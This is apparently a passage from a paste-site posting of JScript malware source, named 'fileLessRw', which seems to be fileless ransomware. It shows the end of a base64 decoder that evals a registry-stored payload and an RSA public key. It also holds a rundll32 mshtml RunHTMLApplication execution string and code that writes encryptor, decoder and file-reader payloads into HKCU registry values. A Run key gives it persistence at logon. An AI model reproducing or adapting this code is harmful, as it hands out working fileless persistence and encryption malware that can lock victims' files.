s}for(i=0;i<imax;i+=3){b10=(getbyte(s,i)<<16)|(getbyte(s,i+1)<<8)|getbyte(s,i+2);x.push(alpha.charAt(b10>>18));x.push(alpha.charAt((b10>>12)&0x3F));x.push(alpha.charAt((b10>>6)&0x3f));x.push(alpha.charAt(b10&0x3f))}switch(s.length-imax){case 1:b10=getbyte(s,i)<<16;x.push(alpha.charAt(b10>>18)+alpha.charAt((b10>>12)&0x3F)+padchar+padchar);break;case 2:b10=(getbyte(s,i)<<16)|(getbyte(s,i+1)<<8);x.push(alpha.charAt(b10>>18)+alpha.charAt((b10>>12)&0x3F)+alpha.charAt((b10>>6)&0x3f)+padchar);break}return x.join('')};var wsh = new ActiveXObject('WScript.Shell');eval(base64.decode(wsh.RegRead('HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\f')));";
  4. var pk = "-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD+APetzL8nI0xaCVbkootKhFuBVHMjsFyQANDvpNTz4v8Y8I24ePOnMrw/wR0fhs+KSKz2yrPuh5Bcq2B0wZhrFAgRSjhOe4v9oI2xlwCIIBVTqK4Sk0R25Wi9l+atUfTE5jDzSr7rPTiBKFOOA/AYAo5Q1bOPwt597m4tFk9quQIDAQAB-----END PUBLIC KEY-----";
  5. var execute = 'rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";document.write("\\74script language=jscript.encode>"+eval((new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\d"))+"\\74/script>")';
  6.  
  7. var encryptorHive = "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\e";
  8. var fileReaderHive ="HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\f";
  9. var decoderHive ="HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\d";
  10. var pkHive = "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\pk";
  11. var executeRegHive = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\fileLessRw"
  12.  
  13. var wsh = new ActiveXObject("WScript.Shell");
  14. wsh.RegWrite (encryptorHive, encryptor, "REG_SZ");
  15. wsh.RegWrite (pkHive, pk, "REG_SZ");
  16. wsh.RegWrite (fileReaderHive, fileReader, "REG_SZ");
  17. wsh.RegWrite (decoderHive, decoder, "REG_SZ");
  18. wsh.RegWrite (executeRegHive, execute, "REG_SZ");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement